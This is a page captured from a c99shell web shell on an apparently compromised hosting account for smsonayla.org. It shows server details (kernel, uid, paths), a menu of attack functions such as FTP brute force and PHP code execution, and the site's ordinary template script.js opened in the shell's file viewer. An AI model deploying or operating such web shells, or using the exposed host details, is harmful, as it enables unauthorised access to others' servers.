smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/assets/softui/home/js/   drwxr-xr-x
Free 3430.01 GB of 4265.01 GB (80.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     script.js (41.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
(function () {
	// Global variables
	var userAgent = navigator.userAgent.toLowerCase(),
			initialDate = new Date(),

			$document = $(document),
			$window = $(window),
			$html = $("html"),
			$body = $("body"),

			isDesktop = $html.hasClass("desktop"),
			isIE = userAgent.indexOf("msie") !== -1 ? parseInt(userAgent.split("msie")[1], 10) : userAgent.indexOf("trident") !== -1 ? 11 : userAgent.indexOf("edge") !== -1 ? 12 : false,
			isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),
			windowReady = false,
			isNoviBuilder = false,
			pageTransitionDuration = 500,

			plugins = {
				bootstrapTooltip: $("[data-toggle='tooltip']"),
				bootstrapTabs: $('.tabs-custom'),
				counter: $(".counter"),
				captcha: $('.recaptcha'),
				campaignMonitor: $('.campaign-mailform'),
				copyrightYear: $(".copyright-year"),
				isotope: $(".isotope"),
				materialParallax: $(".parallax-container"),
				mailchimp: $('.mailchimp-mailform'),
				owl: $(".owl-carousel"),
				preloader: $(".preloader"),
				rdNavbar: $(".rd-navbar"),
				maps: $(".google-map-container"),
				rdMailForm: $(".rd-mailform"),
				rdInputLabel: $(".form-label"),
				regula: $("[data-constraints]"),

				wow: $(".wow"),

				buttonWinona: $('.button-winona'),

				animePresets: document.querySelectorAll('[data-anime]'),
				navbar: document.querySelectorAll('.navbar'),
			};

	/**
	 * @desc Calls a function when element has been scrolled into the view
	 * @param {object} element - jQuery object
	 * @param {function} func - init function
	 */
	function lazyInit(element, func) {
		var scrollHandler = function () {
			if ((!element.hasClass('lazy-loaded') && (isScrolledIntoView(element)))) {
				func.call();
				element.addClass('lazy-loaded');
			}
		};

		scrollHandler();
		$window.on('scroll', scrollHandler);
	}

	// Initialize scripts that require a loaded page
	$window.on('load', function () {
		// Page loader & Page transition
		if (plugins.preloader.length && !isNoviBuilder) {
			pageTransition({
				target: document.querySelector('.page'),
				delay: 0,
				duration: pageTransitionDuration,
				classIn: 'fadeIn',
				classOut: 'fadeOut',
				classActive: 'animated',
				conditions: function (event, link) {
					return !/(\#|callto:|tel:|mailto:|:\/\/)/.test(link)
							&& !event.currentTarget.hasAttribute('data-lightgallery');
				},
				onTransitionStart: function (options) {
					setTimeout(function () {
						plugins.preloader.removeClass('loaded');
					}, options.duration * .75);
				},
				onReady: function () {
					plugins.preloader.addClass('loaded');
					windowReady = true;
				}
			});
		}
	});

	// Initialize scripts that require a finished document
	$(function () {
				isNoviBuilder = window.xMode;

				/**
				 * @desc Initialize owl carousel plugin
				 * @param {object} c - carousel jQuery object
				 */
				function initOwlCarousel(c) {
					var aliaces = ["-", "-sm-", "-md-", "-lg-", "-xl-", "-xxl-"],
							values = [0, 576, 768, 992, 1200, 1600],
							responsive = {};

					for (var j = 0; j < values.length; j++) {
						responsive[values[j]] = {};
						for (var k = j; k >= -1; k--) {
							if (!responsive[values[j]]["items"] && c.attr("data" + aliaces[k] + "items")) {
								responsive[values[j]]["items"] = k < 0 ? 1 : parseInt(c.attr("data" + aliaces[k] + "items"), 10);
							}
							if (!responsive[values[j]]["stagePadding"] && responsive[values[j]]["stagePadding"] !== 0 && c.attr("data" + aliaces[k] + "stage-padding")) {
								responsive[values[j]]["stagePadding"] = k < 0 ? 0 : parseInt(c.attr("data" + aliaces[k] + "stage-padding"), 10);
							}
							if (!responsive[values[j]]["margin"] && responsive[values[j]]["margin"] !== 0 && c.attr("data" + aliaces[k] + "margin")) {
								responsive[values[j]]["margin"] = k < 0 ? 30 : parseInt(c.attr("data" + aliaces[k] + "margin"), 10);
							}
							if (!responsive[values[j]]["autoWidth"] && responsive[values[j]]["autoWidth"] !== 0 && c.attr("data" + aliaces[k] + "auto-width")) {
								responsive[values[j]]["autoWidth"] = k < 0 ? false : c.attr("data" + aliaces[k] + "auto-width");
							}
						}
					}

					// Enable custom pagination
					if (c.attr('data-dots-custom')) {
						c.on("initialized.owl.carousel", function (event) {
							var carousel = $(event.currentTarget),
									customPag = $(carousel.attr("data-dots-custom")),
									active = 0;

							if (carousel.attr('data-active')) {
								active = parseInt(carousel.attr('data-active'), 10);
							}

							carousel.trigger('to.owl.carousel', [active, 300, true]);
							customPag.find("[data-owl-item='" + active + "']").addClass("active");

							customPag.find("[data-owl-item]").on('click', function (e) {
								e.preventDefault();
								carousel.trigger('to.owl.carousel', [parseInt(this.getAttribute("data-owl-item"), 10), 300, true]);
							});

							carousel.on("translate.owl.carousel", function (event) {
								customPag.find(".active").removeClass("active");
								customPag.find("[data-owl-item='" + event.item.index + "']").addClass("active")
							});
						});
					}

					// Create custom Numbering
					if (typeof (c.attr("data-numbering")) !== 'undefined') {
						var numberingObject = $(c.attr("data-numbering"));

						c.on('initialized.owl.carousel changed.owl.carousel', function (numberingObject) {
							return function (e) {
								if (!e.namespace) return;
								numberingObject.find('.numbering-current').text(e.item.index + 1);
								numberingObject.find('.numbering-count').text(e.item.count);
							};
						}(numberingObject));
					}

					if (typeof (c.attr("data-custom-next")) !== 'undefined') {
						var customNext = $(c.attr("data-custom-next"));

						customNext.on('click', function (customNext, c) {
							return function () {
								c.trigger('next.owl.carousel');
							};
						}(customNext, c));
					}

					c.owlCarousel({
						autoplay: isNoviBuilder ? false : c.attr("data-autoplay") === "true",
						autoplayTimeout: c.attr("data-autoplay-timeout") ? parseInt(c.attr("data-autoplay-timeout"), 10) : 100,
						autoplayHoverPause: true,
						smartSpeed: c.attr("data-speed") ? parseInt(c.attr("data-speed")) : 250,
						loop: isNoviBuilder ? false : c.attr("data-loop") !== "false",
						items: 1,
						easing: c.attr('data-easing') ? c.attr('data-easing') : 'swing',
						center: c.attr("data-center") === "true",
						dotsContainer: c.attr("data-pagination-container") || false,
						navContainer: c.attr("data-navigation-container") || false,
						mouseDrag: isNoviBuilder ? false : c.attr("data-mouse-drag") !== "false",
						nav: c.attr("data-nav") === "true",
						dots: c.attr("data-dots") === "true",
						dotsEach: c.attr("data-dots-each") ? parseInt(c.attr("data-dots-each"), 10) : false,
						animateIn: c.attr('data-animation-in') ? c.attr('data-animation-in') : false,
						animateOut: c.attr('data-animation-out') ? c.attr('data-animation-out') : false,
						responsive: responsive,
						navText: c.attr("data-nav-text") ? $.parseJSON(c.attr("data-nav-text")) : [],
						navClass: c.attr("data-nav-class") ? $.parseJSON(c.attr("data-nav-class")) : ['owl-prev', 'owl-next']
					});
				}

				/**
				 * @desc Check the element whas been scrolled into the view
				 * @param {object} elem - jQuery object
				 * @return {boolean}
				 */
				function isScrolledIntoView(elem) {
					if (!isNoviBuilder) {
						return elem.offset().top + elem.outerHeight() >= $window.scrollTop() && elem.offset().top <= $window.scrollTop() + $window.height();
					} else {
						return true;
					}
				}

				/**
				 * @desc Calls a function when element has been scrolled into the view
				 * @param {object} element - jQuery object
				 * @param {function} func - callback function
				 */
				function lazyInit(element, func) {
					var handler = function () {
						if ((!element.hasClass('lazy-loaded') && (isScrolledIntoView(element)))) {
							func.call();
							element.addClass('lazy-loaded');
						}
					};

					handler();
					$window.on('scroll', handler);
				}

				// applyAnimation
				function applyAnimation(target, params) {
					var defaultParams = merge({
						targets: '.anime-element',
						duration: 800,
						easing: 'easeInOutQuad',
						loop: false,
						direction: 'alternate'
					}, params.options);

					var animeObj = anime(defaultParams);

					function start() {
						if (animeObj) animeObj.pause();
						animeObj = anime(merge(
								defaultParams,
								params.animationStart
						));
					}

					function end() {
						if (animeObj) animeObj.pause();
						animeObj = anime(merge(
								defaultParams,
								params.animationEnd
						));
					}

					target.addEventListener('mouseenter', function () {
						start();
					});

					target.addEventListener('mouseleave', function () {
						end();
					});
				}

				function merge(target, sources) {
					if (!target || typeof target !== 'object') {
						throw new TypeError('First argument must be passed and be an object.');
					}

					var result = Object(target);

					for (var i = 1; i < arguments.length; i++) {
						var source = arguments[i];

						//null and undefined
						if (source == null) {
							continue;
						}

						for (var key in source) {
							//null and undefined
							if (source[key] == null) {
								continue;
							}

							//Merge objects in object
							if (source[key] && target[key] && typeof source[key] === 'object' && typeof target[key] === 'object') {
								merge(target[key], source[key]);
								continue;
							}

							target[key] = source[key];
						}
					}

					return result;
				}

				/**
				 * @desc Attach form validation to elements
				 * @param {object} elements - jQuery object
				 */
				function attachFormValidator(elements) {
					// Custom validator - phone number
					regula.custom({
						name: 'PhoneNumber',
						defaultMessage: 'Invalid phone number format',
						validator: function () {
							if (this.value === '') return true;
							else return /^(\+\d)?[0-9\-\(\) ]{5,}$/i.test(this.value);
						}
					});

					for (var i = 0; i < elements.length; i++) {
						var o = $(elements[i]), v;
						o.addClass("form-control-has-validation").after("<span class='form-validation'></span>");
						v = o.parent().find(".form-validation");
						if (v.is(":last-child")) o.addClass("form-control-last-child");
					}

					elements.on('input change propertychange blur', function (e) {
						var $this = $(this), results;

						if (e.type !== "blur") if (!$this.parent().hasClass("has-error")) return;
						if ($this.parents('.rd-mailform').hasClass('success')) return;

						if ((results = $this.regula('validate')).length) {
							for (i = 0; i < results.length; i++) {
								$this.siblings(".form-validation").text(results[i].message).parent().addClass("has-error");
							}
						} else {
							$this.siblings(".form-validation").text("").parent().removeClass("has-error")
						}
					}).regula('bind');

					var regularConstraintsMessages = [
						{
							type: regula.Constraint.Required,
							newMessage: "The text field is required."
						},
						{
							type: regula.Constraint.Email,
							newMessage: "The email is not a valid email."
						},
						{
							type: regula.Constraint.Numeric,
							newMessage: "Only numbers are required"
						},
						{
							type: regula.Constraint.Selected,
							newMessage: "Please choose an option."
						}
					];


					for (var i = 0; i < regularConstraintsMessages.length; i++) {
						var regularConstraint = regularConstraintsMessages[i];

						regula.override({
							constraintType: regularConstraint.type,
							defaultMessage: regularConstraint.newMessage
						});
					}
				}

				/**
				 * @desc Check if all elements pass validation
				 * @param {object} elements - object of items for validation
				 * @param {object} captcha - captcha object for validation
				 * @return {boolean}
				 */
				function isValidated(elements, captcha) {
					var results, errors = 0;

					if (elements.length) {
						for (var j = 0; j < elements.length; j++) {

							var $input = $(elements[j]);
							if ((results = $input.regula('validate')).length) {
								for (k = 0; k < results.length; k++) {
									errors++;
									$input.siblings(".form-validation").text(results[k].message).parent().addClass("has-error");
								}
							} else {
								$input.siblings(".form-validation").text("").parent().removeClass("has-error")
							}
						}

						if (captcha) {
							if (captcha.length) {
								return validateReCaptcha(captcha) && errors === 0
							}
						}

						return errors === 0;
					}
					return true;
				}

				/**
				 * @desc Validate google reCaptcha
				 * @param {object} captcha - captcha object for validation
				 * @return {boolean}
				 */
				function validateReCaptcha(captcha) {
					var captchaToken = captcha.find('.g-recaptcha-response').val();

					if (captchaToken.length === 0) {
						captcha
						.siblings('.form-validation')
						.html('Please, prove that you are not robot.')
						.addClass('active');
						captcha
						.closest('.form-wrap')
						.addClass('has-error');

						captcha.on('propertychange', function () {
							var $this = $(this),
									captchaToken = $this.find('.g-recaptcha-response').val();

							if (captchaToken.length > 0) {
								$this
								.closest('.form-wrap')
								.removeClass('has-error');
								$this
								.siblings('.form-validation')
								.removeClass('active')
								.html('');
								$this.off('propertychange');
							}
						});

						return false;
					}

					return true;
				}

				/**
				 * @desc Initialize Google reCaptcha
				 */
				window.onloadCaptchaCallback = function () {
					for (var i = 0; i < plugins.captcha.length; i++) {
						var $capthcaItem = $(plugins.captcha[i]);

						grecaptcha.render(
								$capthcaItem.attr('id'),
								{
									sitekey: $capthcaItem.attr('data-sitekey'),
									size: $capthcaItem.attr('data-size') ? $capthcaItem.attr('data-size') : 'normal',
									theme: $capthcaItem.attr('data-theme') ? $capthcaItem.attr('data-theme') : 'light',
									callback: function (e) {
										$('.recaptcha').trigger('propertychange');
									}
								}
						);
						$capthcaItem.after("<span class='form-validation'></span>");
					}
				};

				/**
				 * Google map function for getting latitude and longitude
				 */
				function getLatLngObject(str, marker, map, callback) {
					var coordinates = {};
					try {
						coordinates = JSON.parse(str);
						callback(new google.maps.LatLng(
								coordinates.lat,
								coordinates.lng
						), marker, map)
					} catch (e) {
						map.geocoder.geocode({'address': str}, function (results, status) {
							if (status === google.maps.GeocoderStatus.OK) {
								var latitude = results[0].geometry.location.lat();
								var longitude = results[0].geometry.location.lng();

								callback(new google.maps.LatLng(
										parseFloat(latitude),
										parseFloat(longitude)
								), marker, map)
							}
						})
					}
				}

				/**
				 * @desc Initialize Bootstrap tooltip with required placement
				 * @param {string} tooltipPlacement
				 */
				function initBootstrapTooltip(tooltipPlacement) {
					plugins.bootstrapTooltip.tooltip('dispose');

					for (var i = 0; i < plugins.bootstrapTooltip.length; i++) {
						var $tooltip = $(plugins.bootstrapTooltip[i]);

						if (window.innerWidth < 576) {
							$tooltip.tooltip({
								customClass: $tooltip.attr('data-class') ? $tooltip.attr('data-class') : '',
								placement: 'bottom'
							});
						} else {
							$tooltip.tooltip({
								customClass: $tooltip.attr('data-class') ? $tooltip.attr('data-class') : '',
								placement: tooltipPlacement
							});
						}
					}
				}

				/**
				 * @desc Initialize Google maps
				 */
				function initMaps() {
					var key;

					for (var i = 0; i < plugins.maps.length; i++) {
						if (plugins.maps[i].hasAttribute("data-key")) {
							key = plugins.maps[i].getAttribute("data-key");
							break;
						}
					}

					$.getScript('//maps.google.com/maps/api/js?' + (key ? 'key=' + key + '&' : '') + 'sensor=false&libraries=geometry,places&v=quarterly', function () {
						var head = document.getElementsByTagName('head')[0],
								insertBefore = head.insertBefore;

						head.insertBefore = function (newElement, referenceElement) {
							if (newElement.href && newElement.href.indexOf('//fonts.googleapis.com/css?family=Roboto') !== -1 || newElement.innerHTML.indexOf('gm-style') !== -1) {
								return;
							}
							insertBefore.call(head, newElement, referenceElement);
						};
						var geocoder = new google.maps.Geocoder;
						for (var i = 0; i < plugins.maps.length; i++) {
							var zoom = parseInt(plugins.maps[i].getAttribute("data-zoom"), 10) || 11;
							var styles = plugins.maps[i].hasAttribute('data-styles') ? JSON.parse(plugins.maps[i].getAttribute("data-styles")) : [];
							var center = plugins.maps[i].getAttribute("data-center") || "New York";

							// Initialize map
							var map = new google.maps.Map(plugins.maps[i].querySelectorAll(".google-map")[0], {
								zoom: zoom,
								styles: styles,
								scrollwheel: false,
								center: {lat: 0, lng: 0}
							});

							// Add map object to map node
							plugins.maps[i].map = map;
							plugins.maps[i].geocoder = geocoder;
							plugins.maps[i].google = google;

							// Get Center coordinates from attribute
							getLatLngObject(center, null, plugins.maps[i], function (location, markerElement, mapElement) {
								mapElement.map.setCenter(location);
							});

							// Add markers from google-map-markers array
							var markerItems = plugins.maps[i].querySelectorAll(".google-map-markers li");

							if (markerItems.length) {
								var markers = [];
								for (var j = 0; j < markerItems.length; j++) {
									var markerElement = markerItems[j];
									getLatLngObject(markerElement.getAttribute("data-location"), markerElement, plugins.maps[i], function (location, markerElement, mapElement) {
										var icon = markerElement.getAttribute("data-icon") || mapElement.getAttribute("data-icon");
										var activeIcon = markerElement.getAttribute("data-icon-active") || mapElement.getAttribute("data-icon-active");
										var info = markerElement.getAttribute("data-description") || "";
										var infoWindow = new google.maps.InfoWindow({
											content: info
										});
										markerElement.infoWindow = infoWindow;
										var markerData = {
											position: location,
											map: mapElement.map
										};
										if (icon) {
											markerData.icon = icon;
										}
										var marker = new google.maps.Marker(markerData);
										markerElement.gmarker = marker;
										markers.push({markerElement: markerElement, infoWindow: infoWindow});
										marker.isActive = false;
										// Handle infoWindow close click
										google.maps.event.addListener(infoWindow, 'closeclick', (function (markerElement, mapElement) {
											var markerIcon = null;
											markerElement.gmarker.isActive = false;
											markerIcon = markerElement.getAttribute("data-icon") || mapElement.getAttribute("data-icon");
											markerElement.gmarker.setIcon(markerIcon);
										}).bind(this, markerElement, mapElement));


										// Set marker active on Click and open infoWindow
										google.maps.event.addListener(marker, 'click', (function (markerElement, mapElement) {
											if (markerElement.infoWindow.getContent().length === 0) return;
											var gMarker, currentMarker = markerElement.gmarker, currentInfoWindow;
											for (var k = 0; k < markers.length; k++) {
												var markerIcon;
												if (markers[k].markerElement === markerElement) {
													currentInfoWindow = markers[k].infoWindow;
												}
												gMarker = markers[k].markerElement.gmarker;
												if (gMarker.isActive && markers[k].markerElement !== markerElement) {
													gMarker.isActive = false;
													markerIcon = markers[k].markerElement.getAttribute("data-icon") || mapElement.getAttribute("data-icon")
													gMarker.setIcon(markerIcon);
													markers[k].infoWindow.close();
												}
											}

											currentMarker.isActive = !currentMarker.isActive;
											if (currentMarker.isActive) {
												if (markerIcon = markerElement.getAttribute("data-icon-active") || mapElement.getAttribute("data-icon-active")) {
													currentMarker.setIcon(markerIcon);
												}

												currentInfoWindow.open(map, marker);
											} else {
												if (markerIcon = markerElement.getAttribute("data-icon") || mapElement.getAttribute("data-icon")) {
													currentMarker.setIcon(markerIcon);
												}
												currentInfoWindow.close();
											}
										}).bind(this, markerElement, mapElement))
									})
								}
							}
						}
					});
				}

				// Google ReCaptcha
				if (plugins.captcha.length) {
					$.getScript("//www.google.com/recaptcha/api.js?onload=onloadCaptchaCallback&render=explicit&hl=en");
				}

				// Additional class on html if mac os.
				if (navigator.platform.match(/(Mac)/i)) {
					$html.addClass("mac-os");
				}

				// Adds some loosing functionality to IE browsers (IE Polyfills)
				if (isIE) {
					if (isIE === 12) $html.addClass("ie-edge");
					if (isIE === 11) $html.addClass("ie-11");
					if (isIE < 10) $html.addClass("lt-ie-10");
					if (isIE < 11) $html.addClass("ie-10");
				}

				// Bootstrap Tooltips
				if (plugins.bootstrapTooltip.length) {
					var tooltipPlacement = plugins.bootstrapTooltip.attr('data-placement');
					initBootstrapTooltip(tooltipPlacement);

					$window.on('resize orientationchange', function () {
						initBootstrapTooltip(tooltipPlacement);
					})
				}

				// Copyright Year (Evaluates correct copyright year)
				if (plugins.copyrightYear.length) {
					plugins.copyrightYear.text(initialDate.getFullYear());
				}

				// Bootstrap tabs
				if (plugins.bootstrapTabs.length) {
					var MILLISECONDS_MULTIPLIER = 1000;
					for (var i = 0; i < plugins.bootstrapTabs.length; i++) {
						var $bootstrapTabsItem = $(plugins.bootstrapTabs[i]);

						// Nav plugin
						if ($bootstrapTabsItem.attr('data-transition-state') === 'true') {
							$bootstrapTabsItem.on('hide.bs.tab', function (event) {
								document.querySelectorAll(event.target.getAttribute('href'))[0].classList.add('hiding');
							});
							$bootstrapTabsItem.on('hidden.bs.tab', function (event) {
								var target = document.querySelectorAll(event.target.getAttribute('href'))[0],
										timeout = parseFloat(window.getComputedStyle(target).getPropertyValue('animation-duration')) * MILLISECONDS_MULTIPLIER;
								setTimeout(function () {
									target.classList.remove('hiding');
								}, timeout);
							});
							$bootstrapTabsItem.on('show.bs.tab', function (event) {
								document.querySelectorAll(event.target.getAttribute('href'))[0].classList.add('showing');
							});
							$bootstrapTabsItem.on('shown.bs.tab', function (event) {
								var target = document.querySelectorAll(event.target.getAttribute('href'))[0],
										timeout = parseFloat(window.getComputedStyle(target).getPropertyValue('animation-duration')) * MILLISECONDS_MULTIPLIER;
								setTimeout(function () {
									target.classList.remove('showing');
								}, timeout);
							});
						}
					}
				}

				// Google maps
				if (plugins.maps.length) {
					lazyInit(plugins.maps, initMaps);
				}

				// UI To Top
				if (isDesktop && !isNoviBuilder) {
					$().UItoTop({
						easingType: 'easeOutQuad',
						containerClass: 'ui-to-top mdi mdi-chevron-up'
					});
				}

				// RD Navbar
				if (plugins.rdNavbar.length) {
					var aliaces, i, j, len, value, values;

					aliaces = ["-", "-sm-", "-md-", "-lg-", "-xl-", "-xxl-"];
					values = [0, 576, 768, 992, 1200, 1600];

					for (var z = 0; z < plugins.rdNavbar.length; z++) {
						var $rdNavbar = $(plugins.rdNavbar[z]),
								responsiveNavbar = {};

						for (i = j = 0, len = values.length; j < len; i = ++j) {
							value = values[i];
							if (!responsiveNavbar[values[i]]) {
								responsiveNavbar[values[i]] = {};
							}
							if ($rdNavbar.attr('data' + aliaces[i] + 'layout')) {
								responsiveNavbar[values[i]].layout = $rdNavbar.attr('data' + aliaces[i] + 'layout');
							}
							if ($rdNavbar.attr('data' + aliaces[i] + 'device-layout')) {
								responsiveNavbar[values[i]]['deviceLayout'] = $rdNavbar.attr('data' + aliaces[i] + 'device-layout');
							}
							if ($rdNavbar.attr('data' + aliaces[i] + 'hover-on')) {
								responsiveNavbar[values[i]]['focusOnHover'] = $rdNavbar.attr('data' + aliaces[i] + 'hover-on') === 'true';
							}
							if ($rdNavbar.attr('data' + aliaces[i] + 'auto-height')) {
								responsiveNavbar[values[i]]['autoHeight'] = $rdNavbar.attr('data' + aliaces[i] + 'auto-height') === 'true';
							}

							if ($rdNavbar.attr('data' + aliaces[i] + 'anchor-nav-offset')) {
								responsiveNavbar[values[i]]['anchorNavOffset'] = $rdNavbar.attr('data' + aliaces[i] + 'anchor-nav-offset');
							}

							if (isNoviBuilder) {
								responsiveNavbar[values[i]]['stickUp'] = false;
							} else if ($rdNavbar.attr('data' + aliaces[i] + 'stick-up')) {
								var isDemoNavbar = $rdNavbar.parents('.layout-navbar-demo').length;
								responsiveNavbar[values[i]]['stickUp'] = $rdNavbar.attr('data' + aliaces[i] + 'stick-up') === 'true' && !isDemoNavbar;
							}

							if ($rdNavbar.attr('data' + aliaces[i] + 'stick-up-offset')) {
								responsiveNavbar[values[i]]['stickUpOffset'] = $rdNavbar.attr('data' + aliaces[i] + 'stick-up-offset');
							}
						}


						$rdNavbar.RDNavbar({
							anchorNav: !isNoviBuilder,
							stickUpClone: ($rdNavbar.attr("data-stick-up-clone") && !isNoviBuilder) ? $rdNavbar.attr("data-stick-up-clone") === 'true' : false,
							responsive: responsiveNavbar
						});


						if ($rdNavbar.attr("data-body-class")) {
							document.body.className += ' ' + $rdNavbar.attr("data-body-class");
						}

					}
				}

				// Owl carousel
				if (plugins.owl.length) {
					for (var i = 0; i < plugins.owl.length; i++) {
						var c = $(plugins.owl[i]);
						plugins.owl[i].owl = c;

						initOwlCarousel(c);
					}
				}

				// Isotope
				if (plugins.isotope.length) {
					var isogroup = [];
					for (var i = 0; i < plugins.isotope.length; i++) {
						var isotopeItem = plugins.isotope[i],
								isotopeInitAttrs = {
									itemSelector: '.isotope-item',
									layoutMode: isotopeItem.getAttribute('data-isotope-layout') ? isotopeItem.getAttribute('data-isotope-layout') : 'masonry',
									filter: '*'
								};

						if (isotopeItem.getAttribute('data-column-width')) {
							isotopeInitAttrs.masonry = {
								columnWidth: parseFloat(isotopeItem.getAttribute('data-column-width'))
							};
						} else if (isotopeItem.getAttribute('data-column-class')) {
							isotopeInitAttrs.masonry = {
								columnWidth: isotopeItem.getAttribute('data-column-class')
							};
						}

						var iso = new Isotope(isotopeItem, isotopeInitAttrs);
						isotopeItem.isotope = iso;
						isogroup.push(iso);
					}


					setTimeout(function () {
						for (var i = 0; i < isogroup.length; i++) {
							isogroup[i].element.className += " isotope--loaded";
							isogroup[i].layout();
						}
					}, 200);

					var resizeTimout;

					$("[data-isotope-filter]").on("click", function (e) {
						e.preventDefault();
						var filter = $(this);
						clearTimeout(resizeTimout);
						filter.parents(".isotope-filters").find('.active').removeClass("active");
						filter.addClass("active");
						var iso = $('.isotope[data-isotope-group="' + this.getAttribute("data-isotope-group") + '"]'),
								isotopeAttrs = {
									itemSelector: '.isotope-item',
									layoutMode: iso.attr('data-isotope-layout') ? iso.attr('data-isotope-layout') : 'masonry',
									filter: this.getAttribute("data-isotope-filter") === '*' ? '*' : '[data-filter*="' + this.getAttribute("data-isotope-filter") + '"]'
								};
						if (iso.attr('data-column-width')) {
							isotopeAttrs.masonry = {
								columnWidth: parseFloat(iso.attr('data-column-width'))
							};
						} else if (iso.attr('data-column-class')) {
							isotopeAttrs.masonry = {
								columnWidth: iso.attr('data-column-class')
							};
						}
						iso.isotope(isotopeAttrs);
					}).eq(0).trigger("click")
				}

				// WOW
				if ($html.hasClass('wow-animation') && plugins.wow.length && !isNoviBuilder && isDesktop) {
					setTimeout(function () {
						new WOW().init();
					}, pageTransitionDuration + 100);
				}

				// RD Input Label
				if (plugins.rdInputLabel.length) {
					plugins.rdInputLabel.RDInputLabel();
				}

				// Regula
				if (plugins.regula.length) {
					attachFormValidator(plugins.regula);
				}

				// MailChimp Ajax subscription
				if (plugins.mailchimp.length) {
					for (i = 0; i < plugins.mailchimp.length; i++) {
						var $mailchimpItem = $(plugins.mailchimp[i]),
								$email = $mailchimpItem.find('input[type="email"]');

						// Required by MailChimp
						$mailchimpItem.attr('novalidate', 'true');
						$email.attr('name', 'EMAIL');

						$mailchimpItem.on('submit', $.proxy(function ($email, event) {
							event.preventDefault();

							var $this = this;

							var data = {},
									url = $this.attr('action').replace('/post?', '/post-json?').concat('&c=?'),
									dataArray = $this.serializeArray(),
									$output = $("#" + $this.attr("data-form-output"));

							for (i = 0; i < dataArray.length; i++) {
								data[dataArray[i].name] = dataArray[i].value;
							}

							$.ajax({
								data: data,
								url: url,
								dataType: 'jsonp',
								error: function (resp, text) {
									$output.html('Server error: ' + text);

									setTimeout(function () {
										$output.removeClass("active");
									}, 4000);
								},
								success: function (resp) {
									$output.html(resp.msg).addClass('active');
									$email[0].value = '';
									var $label = $('[for="' + $email.attr('id') + '"]');
									if ($label.length) $label.removeClass('focus not-empty');

									setTimeout(function () {
										$output.removeClass("active");
									}, 6000);
								},
								beforeSend: function (data) {
									var isNoviBuilder = window.xMode;

									var isValidated = (function () {
										var results, errors = 0;
										var elements = $this.find('[data-constraints]');
										var captcha = null;
										if (elements.length) {
											for (var j = 0; j < elements.length; j++) {

												var $input = $(elements[j]);
												if ((results = $input.regula('validate')).length) {
													for (var k = 0; k < results.length; k++) {
														errors++;
														$input.siblings(".form-validation").text(results[k].message).parent().addClass("has-error");
													}
												} else {
													$input.siblings(".form-validation").text("").parent().removeClass("has-error")
												}
											}

											if (captcha) {
												if (captcha.length) {
													return validateReCaptcha(captcha) && errors === 0
												}
											}

											return errors === 0;
										}
										return true;
									})();

									// Stop request if builder or inputs are invalide
									if (isNoviBuilder || !isValidated)
										return false;

									$output.html('Submitting...').addClass('active');
								}
							});

							return false;
						}, $mailchimpItem, $email));
					}
				}

				// Campaign Monitor ajax subscription
				if (plugins.campaignMonitor.length) {
					for (i = 0; i < plugins.campaignMonitor.length; i++) {
						var $campaignItem = $(plugins.campaignMonitor[i]);

						$campaignItem.on('submit', $.proxy(function (e) {
							var data = {},
									url = this.attr('action'),
									dataArray = this.serializeArray(),
									$output = $("#" + plugins.campaignMonitor.attr("data-form-output")),
									$this = $(this);

							for (i = 0; i < dataArray.length; i++) {
								data[dataArray[i].name] = dataArray[i].value;
							}

							$.ajax({
								data: data,
								url: url,
								dataType: 'jsonp',
								error: function (resp, text) {
									$output.html('Server error: ' + text);

									setTimeout(function () {
										$output.removeClass("active");
									}, 4000);
								},
								success: function (resp) {
									$output.html(resp.Message).addClass('active');

									setTimeout(function () {
										$output.removeClass("active");
									}, 6000);
								},
								beforeSend: function (data) {
									// Stop request if builder or inputs are invalide
									if (isNoviBuilder || !isValidated($this.find('[data-constraints]')))
										return false;

									$output.html('Submitting...').addClass('active');
								}
							});

							// Clear inputs after submit
							var inputs = $this[0].getElementsByTagName('input');
							for (var i = 0; i < inputs.length; i++) {
								inputs[i].value = '';
								var label = document.querySelector('[for="' + inputs[i].getAttribute('id') + '"]');
								if (label) label.classList.remove('focus', 'not-empty');
							}

							return false;
						}, $campaignItem));
					}
				}

				// RD Mailform
				if (plugins.rdMailForm.length) {
					var i, j, k,
							msg = {
								'MF000': 'Successfully sent!',
								'MF001': 'Recipients are not set!',
								'MF002': 'Form will not work locally!',
								'MF003': 'Please, define email field in your form!',
								'MF004': 'Please, define type of your form!',
								'MF254': 'Something went wrong with PHPMailer!',
								'MF255': 'Aw, snap! Something went wrong.'
							};

					for (i = 0; i < plugins.rdMailForm.length; i++) {
						var $form = $(plugins.rdMailForm[i]),
								formHasCaptcha = false;

						$form.attr('novalidate', 'novalidate').ajaxForm({
							data: {
								"form-type": $form.attr("data-form-type") || "contact",
								"counter": i
							},
							beforeSubmit: function (arr, $form, options) {
								if (isNoviBuilder)
									return;

								var form = $(plugins.rdMailForm[this.extraData.counter]),
										inputs = form.find("[data-constraints]"),
										output = $("#" + form.attr("data-form-output")),
										captcha = form.find('.recaptcha'),
										captchaFlag = true;

								output.removeClass("active error success");

								if (isValidated(inputs, captcha)) {

									// veify reCaptcha
									if (captcha.length) {
										var captchaToken = captcha.find('.g-recaptcha-response').val(),
												captchaMsg = {
													'CPT001': 'Please, setup you "site key" and "secret key" of reCaptcha',
													'CPT002': 'Something wrong with google reCaptcha'
												};

										formHasCaptcha = true;

										$.ajax({
											method: "POST",
											url: "bat/reCaptcha.php",
											data: {'g-recaptcha-response': captchaToken},
											async: false
										})
										.done(function (responceCode) {
											if (responceCode !== 'CPT000') {
												if (output.hasClass("snackbars")) {
													output.html('<p><span class="icon text-middle mdi mdi-check icon-xxs"></span><span>' + captchaMsg[responceCode] + '</span></p>')

													setTimeout(function () {
														output.removeClass("active");
													}, 3500);

													captchaFlag = false;
												} else {
													output.html(captchaMsg[responceCode]);
												}

												output.addClass("active");
											}
